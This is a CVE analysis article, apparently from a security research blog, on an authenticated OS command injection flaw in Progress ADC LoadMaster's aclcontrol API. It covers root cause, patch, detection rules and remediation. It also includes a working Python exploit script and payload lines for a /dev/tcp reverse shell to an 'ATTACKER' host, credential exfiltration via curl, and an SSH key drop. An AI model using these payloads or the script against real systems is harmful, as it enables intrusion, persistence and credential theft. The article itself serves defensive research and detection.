home intel cve-2026-3519-progress-adc-loadmaster-rce
CVE Analysis 2026-04-20 · 8 min read

CVE-2026-3519: OS Command Injection RCE in Progress ADC LoadMaster API

Unsanitized input in the `aclcontrol` API command allows authenticated attackers with VS Administration permissions to inject arbitrary OS commands on Progress ADC LoadMaster appliances.

#os-command-injection#remote-code-execution#authentication-required#api-vulnerability#progress-adc
Technical mode — for security professionals
▶ Attack flow — CVE-2026-3519 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-3519Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-3519 is an OS command injection vulnerability in the Progress ADC (LoadMaster) management API. An authenticated attacker holding VS Administration privileges can supply malicious input to the aclcontrol command endpoint, causing the appliance to execute arbitrary operating system commands. The CVSS score of 8.4 (HIGH) reflects the high impact across confidentiality, integrity, and availability axes, tempered by the authentication prerequisite. No in-the-wild exploitation has been confirmed at time of publication.

LoadMaster exposes a RESTful management API (and a legacy CGI interface) over HTTPS. The aclcontrol handler processes ACL rule management for virtual services. The vulnerable parameter is passed without sanitization into a shell execution context, giving an attacker a direct command injection primitive.

Root cause: The aclcontrol API handler passes attacker-controlled input directly to popen() / system() via snprintf-constructed shell strings without stripping or quoting shell metacharacters.

Affected Component

The vulnerable code resides in the LoadMaster management web application backend, typically the CGI binary at /usr/local/lm/scripts/ or the compiled handler linked into lmcgi. The aclcontrol command is dispatched through the /access API endpoint family. Refer to the NVD entry for the definitive list of affected firmware versions. The vulnerability class applies equally to the hardware appliance, the virtual (VLM) form factor, and the cloud editions, as all share the same management stack.

Relevant binary: lmcgi (or equivalent compiled management handler). Key function: handle_aclcontrol_cmd().

Root Cause Analysis

The management API parses inbound requests and dispatches to command-specific handlers. For aclcontrol, the handler extracts named parameters from the HTTP POST body and assembles a shell command string using snprintf. The assembled string is then handed to popen(). No sanitization of shell metacharacters (;, |, `, $(), &) occurs at any stage in the pipeline.

/*
 * Decompiled pseudocode — handle_aclcontrol_cmd()
 * Found in: lmcgi / management API dispatcher
 * Dispatch key: "aclcontrol"
 */

#define CMD_BUF_SIZE 512

typedef struct {
    char  vs_name[64];      // virtual service name
    char  acl_name[128];    // ACL rule name      <-- attacker-controlled
    char  acl_action[32];   // "add" / "remove"   <-- attacker-controlled
    char  acl_cidr[64];     // CIDR string        <-- attacker-controlled
    int   vs_id;
} aclcontrol_req_t;

int handle_aclcontrol_cmd(http_ctx_t *ctx) {
    aclcontrol_req_t req;
    char cmd_buf[CMD_BUF_SIZE];
    FILE *fp;
    char result[1024];

    memset(&req, 0, sizeof(req));

    /* Parameter extraction — values come directly from HTTP POST body */
    http_get_param(ctx, "vs",      req.vs_name,   sizeof(req.vs_name));
    http_get_param(ctx, "name",    req.acl_name,  sizeof(req.acl_name));
    http_get_param(ctx, "action",  req.acl_action,sizeof(req.acl_action));
    http_get_param(ctx, "cidr",    req.acl_cidr,  sizeof(req.acl_cidr));

    /*
     * BUG: req.acl_name, req.acl_action, and req.acl_cidr are written
     * directly into a shell command string with no metacharacter
     * sanitization. An attacker supplying:
     *   name=foo; id > /tmp/pwn #
     * causes popen() to execute two commands.
     */
    snprintf(cmd_buf, sizeof(cmd_buf),
             "/usr/local/lm/scripts/aclctl.sh %s %s %s %s",
             req.vs_name,    // BUG: no quoting, no sanitization
             req.acl_action, // BUG: no quoting, no sanitization
             req.acl_name,   // BUG: primary injection vector
             req.acl_cidr);  // BUG: secondary injection vector

    /* BUG: cmd_buf handed to shell without validation */
    fp = popen(cmd_buf, "r");
    if (!fp) {
        send_api_error(ctx, ERR_INTERNAL);
        return -1;
    }

    memset(result, 0, sizeof(result));
    fread(result, 1, sizeof(result) - 1, fp);
    pclose(fp);

    send_api_response(ctx, result);
    return 0;
}

The shell wrapper aclctl.sh performs no additional sanitization; it forwards positional arguments directly to ipset or an equivalent ACL management utility. Because arguments are not quoted in the snprintf format string, word-splitting and shell expansion happen on attacker data.

/*
 * http_get_param() — parameter extraction helper
 * No character filtering occurs here.
 */
int http_get_param(http_ctx_t *ctx, const char *key,
                   char *dst, size_t dst_len) {
    const char *val = query_string_lookup(ctx->post_body, key);
    if (!val) return -1;
    /* BUG: strncpy copies raw user input — no allowlist, no reject list */
    strncpy(dst, val, dst_len - 1);
    dst[dst_len - 1] = '\0';
    return 0;
}

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-3519:

1. Authenticate to the LoadMaster management API as a user with
   "VS Administration" role (or higher). Obtain a valid session
   token / Basic Auth credential.

2. Issue a crafted POST to the aclcontrol endpoint:

   POST /access?param=aclcontrol HTTP/1.1
   Authorization: Basic 
   Content-Type: application/x-www-form-urlencoded

   vs=VS1&action=add&cidr=10.0.0.0/8&name=foo%3B++%23

   URL-decoded name field:
     foo;  #

3. handle_aclcontrol_cmd() extracts the raw name value and writes:

   cmd_buf = "/usr/local/lm/scripts/aclctl.sh VS1 add foo;  # 10.0.0.0/8"

4. popen(cmd_buf, "r") forks /bin/sh -c with the above string.
   The shell parses the semicolon as a command separator:
     - Command 1: /usr/local/lm/scripts/aclctl.sh VS1 add foo
     - Command 2:    (executes as root / lm daemon user)
     - Remainder: # 10.0.0.0/8  (treated as comment, discarded)

5. PAYLOAD examples:
   a. Reverse shell:
        bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'
   b. SSH key drop (persistence):
        echo+ssh-rsa+AAAA...+>>+/root/.ssh/authorized_keys
   c. Credential exfil:
        cat+/etc/lm/lmpasswd+|+curl+-d+@-+http://ATTACKER/

6. popen() returns stdout of the injected command in the API
   response body — blind injection is not required; output is
   reflected directly to the caller.

The following Python proof-of-concept illustrates the request flow. This is provided for defensive research and detection engineering only.

#!/usr/bin/env python3
"""
CVE-2026-3519 — Progress ADC LoadMaster aclcontrol command injection
Defensive PoC — CypherByte research
"""

import requests
import urllib.parse
import argparse

def exploit(host: str, creds: tuple[str, str], cmd: str) -> str:
    # Construct the injected name field:
    #   legitimate_prefix ;  #
    injected_name = f"rulename; {cmd} #"

    payload = {
        "vs":     "VS1",
        "action": "add",
        "cidr":   "10.0.0.1/32",
        "name":   injected_name,
    }

    url = f"https://{host}/access"
    params = {"param": "aclcontrol"}

    resp = requests.post(
        url,
        params=params,
        data=payload,
        auth=creds,
        verify=False,       # LoadMaster often uses self-signed cert
        timeout=10,
    )

    if resp.status_code == 200:
        return resp.text
    raise RuntimeError(f"Unexpected status: {resp.status_code}\n{resp.text}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--host",  required=True)
    parser.add_argument("--user",  required=True)
    parser.add_argument("--pass",  dest="password", required=True)
    parser.add_argument("--cmd",   required=True)
    args = parser.parse_args()

    output = exploit(args.host, (args.user, args.password), args.cmd)
    print("[+] Response (injected command output):")
    print(output)

Memory Layout

This is a command injection vulnerability rather than a memory corruption primitive, so there is no heap overflow to diagram. The relevant process state at the moment of exploitation is the stack frame of handle_aclcontrol_cmd() and the forked shell process.

STACK FRAME — handle_aclcontrol_cmd() at popen() call site:

  HIGH ADDRESS
  ┌──────────────────────────────────────────────────┐
  │  saved RIP / return address                      │
  ├──────────────────────────────────────────────────┤
  │  saved RBP                                       │
  ├──────────────────────────────────────────────────┤
  │  result[1024]   — fread() output buffer          │
  ├──────────────────────────────────────────────────┤
  │  cmd_buf[512]                                    │
  │   [0x000] "/usr/local/lm/scripts/aclctl.sh VS1 " │
  │   [0x028] "add foo; id > /tmp/pwn # 10.0.0.1/32" │
  │            ^^^^^ injected shell metacharacter     │
  ├──────────────────────────────────────────────────┤
  │  req.aclcontrol_req_t (288 bytes)                │
  │   [+0x00] vs_name[64]   = "VS1\0..."             │
  │   [+0x40] acl_name[128] = "foo; id > /tmp/pwn #" │ <-- BUG
  │   [+0xC0] acl_action[32]= "add\0..."             │
  │   [+0xE0] acl_cidr[64]  = "10.0.0.1/32\0..."    │
  │   [+0x120] vs_id (int)                           │
  └──────────────────────────────────────────────────┘
  LOW ADDRESS

  After popen():
  ┌──────────────────────────────────────────────────┐
  │  fork() → child process: /bin/sh -c cmd_buf      │
  │  Shell parses semicolon → execvp("id", ...)      │
  │  Output written to pipe fd → read by parent      │
  │  parent: fread(result, ...) captures attacker    │
  │          command output — reflected in response  │
  └──────────────────────────────────────────────────┘

Patch Analysis

The correct fix involves one or more of: (a) rejecting shell metacharacters in parameter values at ingestion time, (b) replacing popen() with execve()-family calls that pass arguments as discrete array elements (bypassing the shell entirely), or (c) using a strict allowlist for each parameter.

/* ── BEFORE (vulnerable) ── */
int handle_aclcontrol_cmd(http_ctx_t *ctx) {
    char cmd_buf[CMD_BUF_SIZE];
    aclcontrol_req_t req;

    http_get_param(ctx, "name",   req.acl_name,   sizeof(req.acl_name));
    http_get_param(ctx, "action", req.acl_action,  sizeof(req.acl_action));
    http_get_param(ctx, "cidr",   req.acl_cidr,    sizeof(req.acl_cidr));

    // BUG: raw user strings interpolated into shell command
    snprintf(cmd_buf, sizeof(cmd_buf),
             "/usr/local/lm/scripts/aclctl.sh %s %s %s %s",
             req.vs_name, req.acl_action,
             req.acl_name, req.acl_cidr);

    FILE *fp = popen(cmd_buf, "r");   // BUG: shell interprets metacharacters
    ...
}


/* ── AFTER (patched) ── */

/* Allowlist validator: permits only alphanumeric, hyphen, underscore, dot */
static int validate_token(const char *s, size_t maxlen) {
    for (size_t i = 0; i < maxlen && s[i] != '\0'; i++) {
        char c = s[i];
        if (!isalnum((unsigned char)c) && c != '-' && c != '_' && c != '.') {
            return -1;  // reject: illegal character
        }
    }
    return 0;
}

/* CIDR validator: digits, dots, slash only */
static int validate_cidr(const char *s, size_t maxlen) {
    for (size_t i = 0; i < maxlen && s[i] != '\0'; i++) {
        char c = s[i];
        if (!isdigit((unsigned char)c) && c != '.' && c != '/') {
            return -1;
        }
    }
    return 0;
}

/* Action allowlist */
static int validate_action(const char *s) {
    return (strcmp(s, "add") == 0 || strcmp(s, "remove") == 0) ? 0 : -1;
}

int handle_aclcontrol_cmd(http_ctx_t *ctx) {
    aclcontrol_req_t req;
    memset(&req, 0, sizeof(req));

    http_get_param(ctx, "name",   req.acl_name,   sizeof(req.acl_name));
    http_get_param(ctx, "action", req.acl_action,  sizeof(req.acl_action));
    http_get_param(ctx, "cidr",   req.acl_cidr,    sizeof(req.acl_cidr));

    /* PATCH: validate every attacker-controlled field before use */
    if (validate_token(req.vs_name,   sizeof(req.vs_name))   < 0 ||
        validate_token(req.acl_name,  sizeof(req.acl_name))  < 0 ||
        validate_action(req.acl_action)                       < 0 ||
        validate_cidr(req.acl_cidr,   sizeof(req.acl_cidr))  < 0) {
        send_api_error(ctx, ERR_INVALID_PARAM);
        return -1;
    }

    /* PATCH: use execve() family — no shell, no metacharacter expansion */
    const char *argv[] = {
        "/usr/local/lm/scripts/aclctl.sh",
        req.vs_name,
        req.acl_action,
        req.acl_name,
        req.acl_cidr,
        NULL
    };

    int pipefd[2];
    pipe(pipefd);
    pid_t pid = fork();
    if (pid == 0) {
        close(pipefd[0]);
        dup2(pipefd[1], STDOUT_FILENO);
        execv(argv[0], (char *const *)argv);  // PATCH: no shell invoked
        _exit(1);
    }
    close(pipefd[1]);
    /* read pipefd[0], waitpid, send response ... */
    ...
}

Detection and Indicators

Detection has two surfaces: network (API request anomaly) and host (process execution anomaly).

Network-level signatures: Look for POST requests to /access?param=aclcontrol where any parameter value contains shell metacharacters: ;, |, `, $, (, ), &, >, <, newline (%0a), or carriage return (%0d).

Suricata / Snort signature (indicative):

alert http any any -> $LOADMASTER_MGMT 443 (
  msg:"CVE-2026-3519 LoadMaster aclcontrol command injection attempt";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/access"; content:"aclcontrol";
  http.request_body;
  pcre:"/(?:name|action|cidr|vs)=[^&]*[;|`$(){}<>\\n\\r]/i";
  classtype:web-application-attack;
  sid:20263519; rev:1;
)

Host-level indicators: Unexpected child processes spawned by the lmcgi or management daemon process — specifically processes with parent PID matching lmcgi that are not aclctl.sh, ipset, or other expected utilities. Look for:

Suspicious process trees (auditd / EDR telemetry):

  lmcgi (pid: X)
  └── /bin/sh -c "/usr/local/lm/scripts/aclctl.sh ... ; bash -i ..."
       └── bash -i                          ← reverse shell
            └── nc / curl / wget / python3  ← exfil / C2

Relevant auditd rule:
  -a always,exit -F arch=b64 -S execve \
     -F ppid= -F key=cve_2026_3519_aclcontrol

Files to check post-compromise:
  /tmp/               — arbitrary output files from injected commands
  /root/.ssh/authorized_keys  — SSH persistence
  /etc/lm/lmpasswd           — credential exfiltration target
  /var/log/lm/               — log tampering

Remediation

1. Patch immediately. Apply the vendor-supplied firmware update referenced in the NVD entry for CVE-2026-3519. Consult the Progress Software security advisory for the exact version that contains the fix.

2. Restrict VS Administration access. The vulnerability requires authentication with the VS Administration role. Audit which accounts hold this permission. Remove it from service accounts and users who do not require it. Enforce MFA on all management accounts.

3. Network-segment the management interface. The LoadMaster management port (HTTPS/443 or dedicated management port) must not be reachable from untrusted networks. Restrict access to a dedicated management VLAN or bastion host.

4. Enable WAF or reverse proxy filtering in front of the management interface where architecture permits, with rules targeting metacharacter sequences in POST bodies.

5. Monitor process execution on the appliance via auditd or equivalent, alerting on unexpected child processes of the management daemon as described in the Detection section above.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →